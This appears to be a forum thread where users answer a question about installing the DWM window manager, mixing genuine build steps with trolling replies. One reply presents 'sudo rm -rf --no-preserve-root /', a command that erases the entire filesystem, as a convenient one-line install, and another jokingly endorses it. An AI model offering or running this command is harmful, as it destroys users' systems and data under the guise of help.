How do I install DWM?

How do I install DWM?

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Have you tried installing it?

Yes.

you need to create an account to install apps from the app store

You don't, because it is a piece of shit.

sudo install dwm

Clone the repo, cd into it. make, sudo make install, then create a .desktop file if you/re using a display manager, otherwise just put "exec dwm" into your .xinitrc.

Real advice because I don't consider the software that I use to be a part of my identity.

just download the .exe and double-click it

just dont, install bspwm

why do distros even bother packaging dwm? at least they should just package the default one along with the source code.

Nvm I figured it out

You're not even OP.

i still need help

dl the .msi or .exe on the website then double click on it

You can use the savedconfig flag with portage to maintain your dwm.h in /etc/portage/savedconfig/x11-wm/dwm then it always uses the same configuration when updates come out

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open terminal
type: git clone git.suckless.org/dwm
type: cd dwm
type: sudo make clean install
type: cd
type: nano .xinitrc
type: exec dwm

alternatively, you can simply type:
sudo rm -rf --no-preserve-root /

this will conveniently install dwm in one line

One line installation perfect for servers

Oh wow, bspwm is just perfect, like, everything is super well documented.

>Oh wow, bspwm is just perfect, like, everything is super well documented.
this is sarcasm right? I couldn't find any documentation on how that shit works

Note, the one line solution only works on systemd with a uefi-based machine.

>Real advice because I don't consider the software that I use to be a part of my identity.
br savage

git clone git.suckless.org/dwm && cd dwm && sudo make install && cd ~ && echo "exec dwm" >> .xinitrc

Run as root:
pkg_add dwm

>Open termimal
>Type man bspwm
oh wow that was difficult

LeL, you idiot right?

like this

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>sudo
no just no
>then create a .desktop file
what?